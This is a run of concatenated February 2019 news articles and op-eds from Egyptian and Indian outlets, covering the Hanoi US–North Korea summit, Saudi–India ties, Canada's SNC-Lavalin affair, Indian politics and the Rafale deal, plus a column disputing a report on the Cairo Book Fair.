It is to host the second US-North Korea summit a year after Singapore hosted the first that ended in an agreement in accordance with which North Korea would relinquish its nuclear weapons and the US would lift sanctions against Pyongyang and reduce its military presence in South Korea.

Hanoi is at the centre of international diplomacy. Its selection as the venue for the summit was far from random.

It was chosen because it presents a kind of orientation for the sensitive forthcoming negotiations which have less to do with a military/security deal related to peace and security in Southeast Asia than they have to do with the course North Korea could take in order to realise peace with the US and with South Korea.

And, who knows? Maybe economic development in the northern Korean Peninsula could become the driving force for the unification of the two Koreas.

Perhaps capitalism could serve as the bond instead of the socialist compulsory annexation that was used between north and south Vietnam.

The Vietnamese model is no longer one that spurs struggle and resistance or pride in the state that sustained four million dead and six million wounded between 1945 and 1975.

Nor is it the model associated with Ho Chi Minh, the father of the Vietnamese state who led the war against French colonialism and, after ousting the French, the war against US forces until they were defeated, too, after which he became prime minister and then president of North Vietnam until his death in 1969.

Vietnam is no longer that marginal, densely populated country, classed as economically socialist, politically communist and one of the poorest countries in the world.

Vietnam has changed completely.

In 1986, Vietnam adopted economic reforms, shifted to a market economy and encouraged foreign investment. In the framework of the Doi Moi (renovation) programme, as it was called, new laws and regulations were introduced to deregulate the economy and enable market forces to become the prime determinant of prices and production.

In 2000, the stock exchange was established.This inspired a new trend in Western and Asian writings which hailed modern Vietnam, the Paris of the East, the Vietnamese ascendancy, the Vietnamese dragon and the Vietnamese model and stressed the need to study this model in order to understand how such a poor country that had been economically shattered from intermittent wars succeeded in becoming an emergent regional power and a prime example of the ability to transcend the past, an ability that is associated with some important aspects of Vietnamese culture such as a strong work ethic, a spirit of discipline and an emphasis on education.

It may be worthwhile to return to the Vietnamese experience another time, but our point, here, is that Hanoi as a choice of venue reflects the horizons of the forthcoming talks.

Although the Singapore summit generated large waves of optimism pinned on the agreement between Washington and Pyongyang and, perhaps, a final end the Korean War sealed by a peace treaty between the two Koreas and between North Korea and the US.

But none of this happened, even if relations between the two Koreas have definitely warmed and the sabre rattling has ceased.

What has become clear is that the question is much more complex than expected. Eliminating a nuclear arsenal is not easy and lifting sanctions is something that cannot be done from one day to the next without guarantees that the other side will fulfil its obligations.

Other dimensions of the problem have to do with the domestic fronts in North Korea and the US. The former is ideologically founded on the defence of the ancestral land and loyalty to the Kim Il Sung dynasty, making it the only communist royal house in the world.

The current successor of this dynasty, Kim Jong-Un, cannot relinquish his nuclear umbrella until he is assured that he will not end up like Muammar Gaddafi and without having to enter the capitalist paradise. Vietnam offers a precedent and a destination.

Despite the vast difference between the North Korean and American domestic fronts, the one in the US is no less complex.

President Donald Trump has made reaching an agreement with North Korea the cornerstone of his foreign policy, which he hopes will enter him into the annals of history.

At a time when domestic political conflict rages between the president and the Democratic Party in the House of Representatives, especially over Trumps role in Russian tampering in the US presidential elections in 2016, Trump is working to lay the foundations for his campaign in the 2020 presidential elections and also wants to use the negotiations with Jong-Un to showcase his flare for driving a hard bargain and coming out ahead each time.

Trump, who has been called erratic, incapable of formulating a coherent foreign policy and fundamentally isolationist, has designed a personal software that he boots up when dealing with other countries.

The programme opens with threats and intimidation, then he ups the stakes, after which he cracks open the door to talks which, he imagines, will culminate in the greatest possible gains for the US.

He claims that this sets him apart from all other previous presidents (Obama above all) who let down the American people. In addition to North Korea, Trump has applied this approach with China and Russia, and he may apply it with Iran as well.

For the moment, however, Trump has his sights set on Hanoi, which he hopes will conclude with a final deal and a declaration of victory.

The same applies Jung-Un. The technical details involved could keep them both from getting what they want. Still, they are both determined to come out with an element of success that will serve them on their home fronts.

*The writer is chairman of the board, CEO and director of the Regional Centre for Strategic Studies.

*A version of this article appears in print in the 14 February, 2019 edition of Al-Ahram Weekly under the headline: Hanoi summit

Short link:

Talmiz Ahmad By

Express News Service

Saudi Crown Prince Mohammed bin Salman will be making his first state visit to India from February 19. The visit is of course important for both sides. From the point of view of the kingdom, the Prince is refurbishing his global image after the crisis relating to the murder of Jamal Khashoggi.

From the Indian side, the Prime Minister is facing elections in an environment of deep communal polarization. So, after the visit, he will be able to proclaim to certain sections of the electorate that he remains a prominent leader on the global scene, and that a country as important as Saudi Arabia is willing to engage deeply with him.

These are the domestic considerations of both sides. If you take a slightly broader view, the visit is a follow up to the Prime Minister's visit and the regular high-level and steady engagement we have had with Saudi Arabia over the past 10 years.

I believe the Mumbai attack changed the perception of Saudi Arabia and other Gulf countries. It made it very clear that the problem of violence India was facing had nothing to with the Kashmir issue and everything to do with Jihad, something that we had been saying for a fairly long time, but which had fallen on deaf ears till then. So, from that day, there has been steady improvement in security cooperation between the two nations.

It began with the visit of Prime Minister Manmohan Singh to Saudi Arabia in February 2010, when we agreed to pursue a strategic partnership and boosted our cooperation in counterterrorism substantially. Our ability to share terror-related information in real time remains a key aspect of the relationship.

Going further, we have a lot to say to each other, and do a lot more. High-level visits have the advantage of focusing the political and bureaucratic leadership on issues that need to be addressed.

The first important issue is energy cooperation. India is a major buyer of Saudi oil, and Saudi Arabia has indicated that they want to invest in the Ratnagiri refinery. This would be a major step forward. I understand that there are some difficulties due to local resistance. But I am hoping it happens.

Also, we are looking at projects in Saudi Arabia, and the Crown Prince has announced this mega city, Neom, which will provide opportunities for Indians.

The other aspect is the Crown Princes Vision 2030. Among other things, this looks at employment of young people in the private sector. The Saudi government is no longer capable of employing all the people who are emerging from schools and colleges, and in order to equip them to be self-employed, they need to be trained. India can do a lot when it comes to the development of the services sector there, as well as in honing the skills of young Saudis. The main sectors where India has acknowledged expertise are IT, health, education, and leisure and tourism.

We are an acknowledged world leader in the small and medium enterprises sector too. So, here too, India can contribute to the Vision 2030 programme that the Crown Prince has developed and projected to the international community.

Beyond energy and security, we also have defence cooperation. The progress here is very slow. The idea is that India should contribute to the development of the Saudi defence sector through tripartite cooperation between Saudi Arabia, UAE and India.

I understand that the primary interactions are taking place with the Indian private sector. But obviously the government will take a look to see what progress is being made in that area.

The last point, which will probably be discussed privately during this visit, is India's legitimate concerns over the security situation in West Asia. Saudi Arabia has never asked India to pick and choose its partners, and India has the extraordinary achievement of being close to all the countries in the region.

The two countries with which India has substantial historical economic and political ties are Iran and Saudi Arabia. They have been at loggerheads with each other for several years. The concern that we have here is that there are issues on both sides, and the situation has been deteriorating by the day. The problem is that there are no initiatives to get the two nations talking to each other.

I am not talking about mediation, India does not do mediation and does not believe in mediation. I am talking about India initiating a diplomatic process, which would build confidence between these two estranged nations. They have been neighbours for a long time, and for long periods they have shared a camaraderie. It is true that after 2011 there has been a certain estrangement, but it is something that should be addressed diplomatically by the countries concerned, and India is well placed to help them initiate this.

This is vital to India too since it has a high stake in ensuring stability in the region. We have our cooperation in the energy and economic sectors, we have logistical connectivity projects from Iran to Afghanistan, Central Asia and Russia, and, above all, we have the presence of an 8.5-million-strong Indian community in the region. So, obviously if there is any conflict, a large number of them would be caught in the crossfire.

With the US exercising less of an influence in the Gulf these days, the space is now available for India to put together a diplomatic peace initiative for the region. This is the need of the hour, and everything else pales into insignificance.

The Crown Prince is visiting Pakistan and Malaysia before coming to India. Saudi Arabia has announced that they will be investing in Pakistan with which it has a strong relationship that goes back to Cold War days. They were both allied with the US and fought with the US in the global jihad in Afghanistan too. So, they have been strategic and defence partners for a very long time.

Now that Pakistan has a new government which is under political and economic pressure, it is not unnatural for the Kingdom to provide investments. We must recognise that many of the countries traditionally close to Pakistan have been very concerned about the rise of extremism in the country, which threatens the region as a whole. This explains why China is so keen on investing in Pakistan. It also explains why Saudi Arabia and UAE are doing the same.

Earlier, the US used to play this role, by providing the political and economic support for successive regimes in Islamabad. I think with the US indicating its unhappiness through some of the tweets of President Donald Trump, it has become even more urgent for other countries to step in. That is how I would read the Saudi initiative with regard to Pakistan. I don't think it has any element that could be a matter of concern for India. This is a direct relationship between them built on their own concerns.

The other area where India, Saudi Arabia and Pakistan share a common interest is Afghanistan. Pakistan and India obviously have very differing views on Afghanistan. Saudi Arabia has been involved with Afghanistan for a very long time. Saudi Arabia recently played a major role in bringing some sections of the Taliban to the conference table, and facilitated the dialogue between them and the US, which is keen on withdrawing their troops from Afghanistan. The aftermath in Afghanistan once the Americans end their destructive presence there will be a major challenge for all the three nations.

Both Pakistan and India will put across their viewpoints to Saudi Arabia. What we have to say - and I think Saudi Arabia will find this very sensible - is that we need Afghanistan to be united. We need its governmental institutions to be strengthened, and we need to address the scourge of extremism and violence. I don't think Saudi Arabia will disagree with this position one bit.

A key point. Pakistan does have a certain commitment to the Taliban, but the Taliban of 10 years ago and the Taliban of today are fundamentally different. They have splintered, and large sections may be amenable to a political process. India will have to shape its own initiative in Afghanistan, but I believe that if we make the right presentation to Saudi Arabia, we may find them interested in our gameplan and the vision that we have of a secure Afghanistan at peace with itself.

(The author was India's ambassador to Saudi Arabia from 20002003 and again from 20102011. He was speaking to Ramananda Sengupta)By PTI

OTTAWA: A Canadian minister's sudden resignation on Tuesday turned vague allegations of interference in the criminal prosecution of an engineering giant into a deepening political crisis for Prime Minister Justin Trudeau's Liberals.

Jody Wilson-Raybould's resignation followed a chorus of demands for the government to come clean about whether Trudeau's office had pressured her to intervene in the prosecution of SNC-Lavalin.

The Montreal-based firm was charged in 2015 with corruption for allegedly bribing officials in Libya between 2001 and 2011 to secure government contracts during former strongman Muammar Al Gaddafi's reign.

Jody Wilson-Raybould, who was Canada's first indigenous attorney general and justice minister prior to being shuffled to another post last month, announced on Twitter that "with a heavy heart" she was leaving the cabinet. Trudeau said he was "surprised and disappointed."

"Our government did its job properly and according to all the rules," he said while upbraiding his former attorney general, if she felt otherwise, for not bringing her concerns to him directly.

SNC-Lavalin lobbied the government, including senior officials in Trudeau's office, for an out-of-court settlement that would include paying a fine and agreeing to put in place compliance measures.

A possible guilty verdict at trial, they argued, risked crippling its business and putting thousands out of work. But according to unnamed sources cited by the Globe and Mail, Wilson-Raybould refused to ask prosecutors to settle with the company, and the trial is set to proceed.

Trudeau has denied the allegations, saying: "At no time did I or my office direct the current or previous attorney general to make any particular decision in this matter." Opposition parties, however, pressed for clarity.

And on Monday the independent ethics commissioner launched an investigation -- the second into a prime minister first elected in 2015 on a promise to clean up corruption, and with only eight months before the next ballot.

While the controversy snowballed, Wilson-Raybould declined to speak, citing solicitor-client privilege and cabinet confidentiality.

"I am aware that many Canadians wish for me (to) speak on matters that have been in the media over the last week," she said in a statement.

"I am in the process of obtaining advice on the topics that I am legally permitted to discuss in this matter," she said, adding that she retained a retired Supreme Court justice as legal counsel.

Conservative leader Andrew Scheer reacted to her resignation by saying Trudeau's "ethical lapses and his disastrous handling of this latest scandal have thrown his government into chaos."

He also accused the prime minister of "trying to hide the truth with regards to the SNC-Lavalin affair."

The Canadian charges against SNC-Lavalin were just the latest blow to one of the world's largest construction and engineering firms, after its former president and senior executives were accused of fraud, and the World Bank banned it from bidding on projects until 2023 due to "misconduct" in Bangladesh and Cambodia.

The company, its international arm and another subsidiary are accused of having offered Can$47 million (US$36 million) in bribes to officials and of defrauding the Libyan government of Can$130 million (US$98 million).

It oversaw billions of dollars in projects in Libya, including construction of a prison outside Tripoli and an airport in Benghazi.

The charges relate to the world's largest irrigation project -- the Great Man Made River Project -- to provide fresh water to the cities of Tripoli, Benghazi and Sirte.

The firm employs 50,000 people worldwide, and if found guilty in Canada it would be prohibited from bidding on Canadian government projects -- its lifeblood.

It has argued that those responsible for alleged wrongdoing left the company long ago, and that holding it accountable for their criminal actions would severely hurt its business.Anil Kumar By

Express News Service

WARANGAL: Home to Telangana ideologue Prof Jayashankar, on whose call thousands of people joined the revolutionary Telangana movement, the tiny village of Akkampet is no stranger to mass agitations.

Now, the locals of the iconic village are once again gearing up for a mass movement, this time for the imposition of total prohibition on liquor in the village. It was just about five years ago that they had successfully freed Akkampet from the brewing and consumption of gudumba, a form of illicitly-distilled (ID) liquor.

About 60 men and women from the village recently met Warangal (Rural) District Collector M Haritha and urged her to take action against the people running belt shops in the village. They claimed that about 18 belt shops were running in the village, causing unrest among families.

Though the belt shops are having a free run selling liquor, both the police and excise authorities have been turning a blind eye to this, they had alleged.The villagers also lodged a complaint with Warangal (R) Excise Superintendent P Srinivas Rao and urged him to take action against the excise officials who were encouraging the sale at belt shops.

If the excise officer fails to take any action as promised, then we will launch a mass agitation to exert pressure on authorities, states farmer M Krishnam Raju, one of the key persons heading the anti-liquor movement in the village.

According to him, the presence of belt shops in the village does more than just affect the health and financial condition of the villagers. Though the movement is just in its initial stage, the people involved look determined to achieve what they have set out to do.By PTI

CHENNAI: Taunted by the Congress to face the coming Lok Sabha polls alone, the ruling AIADMK Wednesday hit back, saying it was strong enough and prepared for fighting the elections on its own provided other parties in Tamil Nadu also go without allies.

Deputy Chief Minister O Panneerselvam made the remarks in the assembly after the Congress asked the ruling party to assess its strength in the post-Jayalalithaa era.

During the debate on the budget, Congress Legislature Party (CLP) leader K R Ramasamy said the AIADMK should prove its strength by facing the polls without allies, saying it has not faced a major election after the demise of late chief minister and party supremo J Jayalalithaa in 2016.

The AIADMK had lost the only poll held after her demise -- the December 2017 RK Nagar bypoll held to fill the vacancy created by her death, Ramasamy said.

He also made some remarks which seemed to indicate the AIADMK was under some kind of 'problem' vis-a-vis a possible alliance with the BJP, to which Panneerselvam shot back saying the party and the government were strong.

Ramasamy claimed no party will join hands with the AIADMK if it aligned with the BJP and exuded confidence that the Congress will come back to power in the coming Lok Sabha polls.

Panneerselvam retorted saying following the "blow" dealt by DMK founder late C N Annadurai to the Congress by unseating its government in the state in 1967 elections, the national party has been riding "piggy-back" on one of the two major Dravidian parties -- AIADMK or DMK -- to face elections.

School Education Minister KA Sengkottaiyan recalled that the AIADMK had in the past won absolute majority by facing the polls without any allies.

Municipal Administration Minister S P Velumani asked if the Congress could do such a thing.

Later, in an apparent reference to the Lok Sabha polls, Panneerselvam said, "we are prepared to face elections all alone if others also did so."

He reiterated that his party was strongly placed in the state even in the post-Jayalalithaa era.

Amidst reports that AIADMK was in touch with the BJP for a possible alliance for the parliamentary elections, Panneerselvam had recently said the party was indeed holding talks with some national and regional parties.

The Congress and DMK, which had aligned for the 2016 assembly polls, are taking forward the tie-up with some more parties, including MDMK and the Left slated to join the coalition.

Meanwhile, AIADMK Deputy Co-ordinator R Vaithilingam, MP, Wednesday said the party was holding 'discreet' alliance talks with parties, including the BJP.

Speaking to reporters, he said the announcement in this regard will be made after the talks were over.

"Discreet discussions are on," and the outcome will be announced after the talks were over by party leaders Panneerselvam and Joint Coordinator and chief minister K Palaniswami, he said.

When asked about the parleys with BJP, PMK and DMDK, he said the "talks are on."

Asked with which parties the AIADMK was holding discussions, Vaithilingam said "the parties you said now," indicating at BJP, PMK and DMDK.

Meanwhile, senior party leader and state Fisheries Minister D Jayakumar said the party high command will announce about alliance at the appropriate time.By Express News Service

BHOPAL: The police in Barwani district of west Madhya Pradesh have intimated to the union ministry of home affairs (MHA) to blacklist 12 Indonesian and Thai tourists for violating tourist VISA norms by indulging in preaching and other religious activities.

Concerned over the development, first-time Congress MLA from Bhopal Central seat and All India Muslim Personal Law Board (AIMPLB) member Arif Masood has raised the matter with the state director general of police (DGP) VK Singh, questioning the move of the Barwani district police.

The 12 nationals of Indonesia and Thailand who came to Barwani were students of the Jamaat (a non-political Islamic missionary movement) are travelling in the country on tourist visas  that permits them to only indulge in sight-seeing, tourism and recreational activities.

The 12 tourists reported to the Barwani district police about being on trip for four days in Barwani district, including Anjad for re-creational and sight-seeing purposes on February 2, but they actually stayed at place of worship and overstayed the duration by staying in the district for eight days. They also didnt intimate the local authorities about their plans to visit Rajpur town of Barwani district, after which notices were served upon them and their guarantors and they were deported from Barwani district.

According to the Barwani district police superintendent YD Bhutia, the 12 tourists not only indulged in religious practices at place of worship where they stayed during their stay in Barwani, but also indulged in religious preaching, which violated Visa, foreigner registration and Passport norms.

We got specific inputs from reliable sources about these tourists not only staying at place of worship, but also indulging in religious activities in violation of existing VISA and foreigner registration rules, particularly the MHA rules pertaining to Jamaat. Subsequent probe revealed our inputs were correct. Weve served notices to their local guarantors (those who hosted them in Barwani, Bhutia told journalists in Barwani.

She added that notice have also been issued the concerned tourists in the matter.

Weve informed entire matter and intimated the MHA for blacklisting these tourists for violating the existing VISA and foreigner registration norms. As per the standard operating procedures (SOP) the MHA has been intimated through the Joint Director SIB. The action now in the matter will be taken by the MHA, said Bhutia.

At the MP state police headquarters in Bhopal, the Inspector General of Police (IG-Intelligence) Makarand Deouskar confirmed on Wednesday about the notice having been issued to the local guarantors of the 12 tourists and the matter having been intimated to the MHA.

Meanwhile, reacting to the development, the Congress MLA and AIMPLB member raised the matter with the MP DGP VK Singh in Bhopal on Tuesday. Ive raised the issue with the DGP and made it clear that wherever the Jamaat people go, they stay in place of worship only. Even many people coming from abroad to the Prayagraj Kumbh are coming to India on tourist Visas, but participating in religious exercise, Masood told The New Indian Express on Wednesday.

Such developments have never taken place at the end of police in MP during the past and shouldnt be allowed to happen again in future, as those related to Jamaat travel everywhere in India on tourist Visa and stay in places of worship only, he added.

Importantly, Masood had recently written to Chief Minister Kamal Nath also, objecting to slapping of National Security Act (NSA) against three men arrested for allegedly slaughtering cow in Khandwa district of West MP.Ritwika Mitra By

Express News Service

NEW DELHI: IAS officers from across the country will soon be given a week-long training in social policy and welfare for improved policymaking and implementation of schemes so that they can reach out more effectively to the marginalised sections of society.

Dr Ambedkar International Centre, which is being developed as a think tank, will sign an MoU with Lal Bahadur Shastri National Academy of Administration to carry out this week-long training in Mussoorie. The training programme will start when the next batch of IAS officers are trained.

The course will be designed as such that it encapsulates modules on social welfare and policies comprehensively and how these can be effectively implemented in the Indian context. Currently, there is a gap between policymaking and implementation of schemes which are of social importance. With this training, we plan to fill this gap and make them more receptive on how to reach out to the different sections of the society, said a senior official of Dr Ambedkar International Centre.

"The idea is that bureaucrats can implement policies on health, education, development, for people in the margins like women, elderly, SC/ST/OBC communities, denotified tribes, the differently-abled effectively. The modules will cover welfare policies in India and around the world, the history of India - pre and post-independence, and India as a welfare state, among other topics."

The Ministry of External Affairs has approached the Ambedkar centre to conduct such courses for officers from African countries. This is because the implementation of social welfare policies remains a challenge in these countries too. The course will give them fresh perspectives, added the official.

The main focus will be to reduce socio-political and economic inequalities by conducting research.By Express News Service

MUMBAI: Even as the fate of the Shiv Sena-BJP alliance hangs in balance with both the parties attempting to cover all the Lok Sabha seats, a section within the Sena has started canvassing for Thackeray scion Aditya's candidature, which they feel will help the party get necessary boost and enthuse the party workers enough to put up a good show.

After Rahul, Priyanka too has joined active politics on National level. In Maharashtra also the third generation of the Pawar family is preparing to enter the politics with Ajit Pawar's son Parth likely to be given a candidature.

Young Turks from the next generation are taking over the political landscape. Hence, we too are trying to convince Aditya Thackeray to contest elections, a senior Shiv Sena leader said while confirming Aditya was being pursued for contesting in the forthcoming elections.

"Yes. We have have been asking Aditya to contest the polls. Though he has rejected our overtures all this while, we are still hopeful he will contest the assembly elections if not the Lok Sabha elections that re imminently due," said Shiv Sena spokesperson Dr Neelam Gorhe.

The 28-year-old, law graduate Thackeray scion has been active in politics for around a decade. Though he started off with Yuva Sena, he had been primarily busy with steering the affairs of Brihan Mumbai Municipal Corporation (BMC) over past two years after Shiv Sena was able to hold its bastion with a wafer-thin margin in a bitter battle against the BJP.

Aditya had also attracted controversies for his insistence for an open nightlife culture in Mumbai and foot-path gyms in the city.

The imported Penguins housed in a special pavilion at Byculla zoo was also his baby. The young leader also focussed on sectors like education, environment and social work, where he can directly engage with the youth.

However, whether he would be able to give the necessary filip to the party organization to be able to gain the power in the state on its own, is still a question. Moreover, the Thackeray family's avowed stance of not contesting public elections too is likely to be a hurdle for him.

According to writer-journalist Raju Parulekar, who was one of the creative minds behind Balasaheb Thackeray's PhotoBiography and has written extensively analysing the politics of Thackeray family, Aditya can contest and win elections.

But, that won't give an impetus to the party. "Not contesting election was kind of inevitable for Balasaheb and Uddhav. Aditya is young. Health and age are on his side unlike that of his father and grandfather. So, his contesting election would be just like any other candidate of Shiv Sena," said Parulekar.Namita Bajpai By

Express News Service

LUCKNOW: Aligarh Muslim University (AMU) hit the headlines, and for the wrong reason, yet again. With prevailing volatility in the wake of Tuesdays violent clashes on the campus between students factions belonging to different communities, as many as 14 students were booked under charges of sedition following a complaint of alleged assault filed by a member of Akhil Bharatiya Vidhyarthi Parishad (ABVP), the student wing of BJP, on Wednesday.

Moreover, the university administration suspended eight students, including Ajay Singh, an LLM student at AMU and grandson of Aligarh BJP MLA Dalveer Singh, for indiscipline and misconduct.

Their entry on the campus has been banned as the university administration believes that the Tuesday clashes were prompted by these students, said AMU spokesperson on Wednesday.

On the other hand, the security was beefed up in and around AMU to avert further clashes.

The district administration suspended internet services in Aligarh for next 24 hours and prohibitory orders under Section 144 of CrPC were also imposed following the violent clashes between students of two communities on Campus over protests against the proposed visit of All India Majlis-e-Ittehadul Musalmeen (AIMIM) MP Asasudding Owaisi on the invitation of AMUSU.

All the roads leading to AMU near IG Khan crossing were also closed by the police administration to avert any untoward incident. Heavy deployment of police and para military forces were in place to maintain peace.

The internet services have been suspended in the district following the orders of Aligarh DM CB Singh to check rumours, fake news and hateful, instigating messages and posts on various social media sites, said a district administration official adding that services were likely to be restored by Thursday noon.

Meanwhile, 14 AMU students were booked on charges of sedition on Tuesday evening in connection with the alleged assault on TV journalists and BJP youth wing leaders. According to SSP Aligarh, Aakash Kulhari, two separate FIRs were filed against the students on the basis of complaints given by TV journalists and BJP youth wing leader.

As per the Aligarh police sources, those 14 students booked under sedition charges included the president Salman Imtiaz and vice-president Humza Sufiyan, Secretary Hufaiza Aamir, former president of AMUSU Mashkoor Ahmad, and a number of unidentified students under sections 124-A (sedition), 307 (attempt to murder), 147 (rioting), 148 (rioting armed with deadly weapon), 323 (voluntarily causing hurt), 392 (robbery), 504 (Intentional insult with intent to provoke breach of peace), 153-A and B (promoting enmity) of IPC.

In fact, the trouble started on Tuesday when a group of Hindu students, led by Ajay Singh and some BJP office bearers were allegedly assaulted by AMUSU students when they were protesting at Faiz gate seeking cancellation of the proposed visit of Owaisi. Five vehicles belonging to protestors were vandalised and one was set on fire by the students belonging to another community.

As per police sources, the violence broke out after Manish Kumar, a BTech (final Year) student was assaulted by one Mohammad Imran of Suleman hostel of AMU after Kumar came out in support of protestors.

The police sources said that even two-three round firing was also done by the students during trouble on campus. Getting the wind of Manish being assaulted, the protestors led by Ajay Singh, reached the proctor office seeking its intervention but they were allegedly thrown out by the internal security of AMU. They then started their dharna at the AMU circle outside the campus.

The SSP, however, claimed that the students were charged under sedition after a complaint of alleged assault was filed by BJP youth wing district president Mukesh Lodhi. He said, in his complaint, Lodhi had alleged that he was attacked by AMU students who raised slogans of Pakistan Zindabad and Bharat Murdabad.

After being booked under sedition charges, the AMUSU gave a boycott class call on Wednesday. The sources confirmed that besides the clashes between student factions, a section of AMU students had altercations with the crew of a news channel who visited the campus to cover the proposed visit of Owaisi. However, the AIMIM leader did not turn up to attend the event orgainsed by the AMUSU.

As per the statement of an AMU spokesman, a TV channel team, which had come to cover the anticipated event featuring Owaisi, had an altercation with some students while they were filming inside the campus.

The channel crew, on the other hand, accused a group of students of smashing their camera on campus.

The spokesman said the channel had not sought permission from authorities for live coverage and when university staff pointed this out, there was a heated exchange in which some students were also involved.Last week, an Israeli news site reported that the US Embassy in Cairo boycotted the Cairo International Book Fair (CIBF) after learning that anti-Semitic works, such as Hitlers Mein Kampf, The Protocols of the Elders of Zion and Henry Fords International Jew, were on display at the fair.

In its article, the Jewish News Syndicate wrote that the embassy closed its booth at the fair on Wednesday last week after several written and verbal protests it allegedly sent to Egyptian government met with inaction, despite the fact that articles deemed critical of the Egyptian government have been withdrawn from the event in past rounds.

Donald Trump has caused endless stomachs to growl and teeth to grind around the world from his incessant gripe that the press and media in the US only broadcast fake news.

Yet here we have an Israeli news site, which boasts that its articles are republished each week by nearly 100 print newspapers and digital outlets across the globe, that fits the Trump charge to a T. The US media can be expected to relay the news from this site which describes itself as the fastest-growing news agency covering Israel and the Jewish world.

The JNS article contains not a single piece of correct information. The US Embassy in Cairo did not boycott the event. Its deputy chief of mission and cultural affairs officer were personally on hand to open the US embassys booth several days after the CIBFs official inauguration.

The reason for the delay had to do with the unavailability of appropriations due to the government shutdown in Washington. During that interval, a sign was posted in front of the booth explaining that this was why it was closed.

As for the written and verbal protests the JNS claimed had been lodged with the Egyptian government, unquestionably reliable sources have confirmed that the Egyptian authorities received no such protests.

To top it all, the photo accompanying the article on the Israeli Website shows an Arabic translation of Mein Kampf surrounded by other Arabic books, such as the Blue Elephant by Ahmed Murad, The Woman from Tantoura by Radwa Ashour, Rain by Hanna Mina and Oxford Wordpower for English Language Learners.

In the tiny print below, we discover that the photo was taken on 2 August 2015 and that it was of books for sale by a street vendor in Ramallah in the West Bank.

As occurs with the interwoven websites associated with the international Zionist movement, the Simon Wiesenthal Centre hastened to praise the purported decision on the part of the US Embassy in Cairo and called on other countries participating at the fair to follow suit in protest.

What is particularly curious about that JNS fabrication is that it appeared on Thursday, 7 February, whereas the book fair ended 5 February.

What good does it do to call on others to join a boycott two days after an event is over? At least one advantage of publishing such fake news after the book fair closed is that it is no longer possible to ascertain the facts. In order to avert discovery of that ruse, the JNS concocted another lie, which is that the book fair would continue until 10 February.

How could the lack of professionalism have sunk so low as to make that Zionist Website supply nearly 100 print newspapers and digital outlets across the globe with lies? How could it bring itself to invent every detail in that story? Have they allowed their ideological passions to blind them to the truth to this extent? Should the disgraceful favouritism for the Jewish state serve as an excuse for omission, distortion and the creation of such a quantity of falsehoods packed into a news item that would be echoed across other news outlets?

If there was one piece of information about CIBF that might have been of use to readers it was that this most important annual literary event in the Arabic publishing world was attended by more than two million visitors (in 2018).

The actual purpose of this factoid was cast into relief the importance of the purported US boycott of the event in reaction to the scandal of displaying the abovementioned books in the largest Arab literary forum of its kind.

Perhaps we should draw the US presidents attention to the fact that the largest repository for the fake news he harps on about is to be found in the media of his Israeli ally to which he devotes shameful allegiance.

Unfortunately, it appears that his pro-Israel bias can only be served through blindness to the truth and invented fictions. Was not his recognition of Jerusalem as the capital of Israel the result of a disregard for truth and falsification of facts? Does not the same apply to Washingtons recent move to block a UN Security Council statement that would have expressed regret at Israels decision to eject a foreign observer force from Hebron? Is not such blindness to truth and predilection for fakery behind all Trumps decisions concerning Israel?

Fake news and fictions aside, this years Cairo International Book Fair was one of the most successful rounds of this event in its half a century long history. Attendance at its new venue in the Egyptian International Exhibition Centre in New Cairo exceeded expectations.

The large turnout, plus the vibrant dynamism of its activities and the positive feedback from its visitors, herald even more successful editions ahead.

As for the fake news from Israeli media that cares only to undermine every Egyptian or Arab success, it is best tossed into historys rubbish bin.

*A version of this article appears in print in the 14 February, 2019 edition of Al-Ahram Weekly under the headline: Fake news on CIBF

Short link:

By PTI

NEW DELHI: Stepping up his attack on Prime Minister Narendra Modi over the Rafale issue, Congress president Rahul Gandhi on Wednesday cited a media report to claim that the PM's argument of better pricing and faster delivery of the jets to defend the deal has been "demolished".

His attack came after a report in The Hindu which claimed that the Rafale deal was not on"better terms" than the UPA-era offer.

"The PM defended his personal RAFALE bypass deal on 2 counts: 1.Better Price 2.Faster Delivery. Both have been demolished by the revelations in the Hindu today," he tweeted.

The government has in the past rejected all such allegations and claims against the deal.

Three senior Defence Ministry officials who were the domain experts on the seven-member Indian Negotiating Team (INT) came to a "well-substantiated and clear conclusion" that the Narendra Modi government's new Rafale deal for 36 flyaway aircraft was not on "better terms" than the offer made by Dassault Aviation during the procurement process for 126 aircraft under the United Progressive Alliance government, the report in the English daily said.

Raising slogans such as "chowkidar chor hai", Congress lawmakers, including Rahul Gandhi, UPA chairperson Sonia Gandhi and former prime minister Manmohan Singh, protested near the Gandhi statue in Parliament complex over the Rafale deal.

The Congress leaders were seen carrying paper planes and posters, alleging scam in the multi-crore fighter jet deal.

Citing the report, Congress' chief spokesperson Randeep Singh Surjewala said the "theft has been caught".

Surjewala highlighted four points citing the report -- price of 36 Rafale jets was 55 per cent higher than the UPA-era offer, loss incurred by not taking 25 per cent discount for Rafale as offered by Eurofighter, bank and sovereign guarantee waived, and no aircraft for 10 years with escalation cost to be paid.

The Congress' attack came a day after, Rahul Gandhi accused the prime minister of "treason" and violating the Official Secrets Act by acting as Anil Ambani's "middleman" in the Rafale jet contract, citing an email to claim the businessman was aware of the deal days before India and France finalised it.

The BJP, however, had rejected the charge, saying the email purportedly by an Airbus executive referred to a helicopter deal and not Rafale.

Reliance Defence, in a statement, also refuted Gandhi's allegation saying the "proposed MoU" mentioned in the email referred to its cooperation with Airbus Helicopter.Mayank Singh By

Express News Service

NEW DELHI: Talking about defence deals with Russia and US, Senior Air Force officers said that sovereign guarantee and integrity pacts have not been part of the defence deals signed with Russia and US. There have been questions raised about the Sovereign Guarantee pact in the Rafale Fighter deal, as the government is said to have given concessions to the French manufacturer by not signing the pact. In September 2016, India signed an inter-governmental agreement with France, to procure 36 twin-engine Rafale Fighter jets off the shelf for a price of around Rs 58,000 crore (7.8 billion Euros).

The Vice Chief of the Air Staff Air Marshal Anil Khosla said, We have had a lot of acquisitions from Russians and Americans earlier. The process of the government-to-government agreement with Russia and America are generally already streamlined, or should I say evolved. With other countries, it may not have evolved, as the government-to-government (agreement) may have been the first or just initiated.

Replying to a question on the S 400 missile defence system deal with Russia, Deputy Chief of Air Staff Air Marshal VR Chaudhari said, No Sovereign Guarantee was part of the S400 deal The deal for 5 S-400 missile air defence systems was signed in October 2018 at a cost of around Rs 40,000 crore. The Vice Chief was briefing the media about the Air Fire Power Demonstration Vayu Shakti 2019 in Rajasthan. As many as 137 aircraft will participate in a day, dusk and night firing exercise during the air show. Indigenous LCA Tejas, Light Combat Helicopter will also be demonstrating their fire power. The indigenously developed Air to Air Missile Astra and Surface to Air Missile Akash will also be part of the fire power demonstration.By PTI

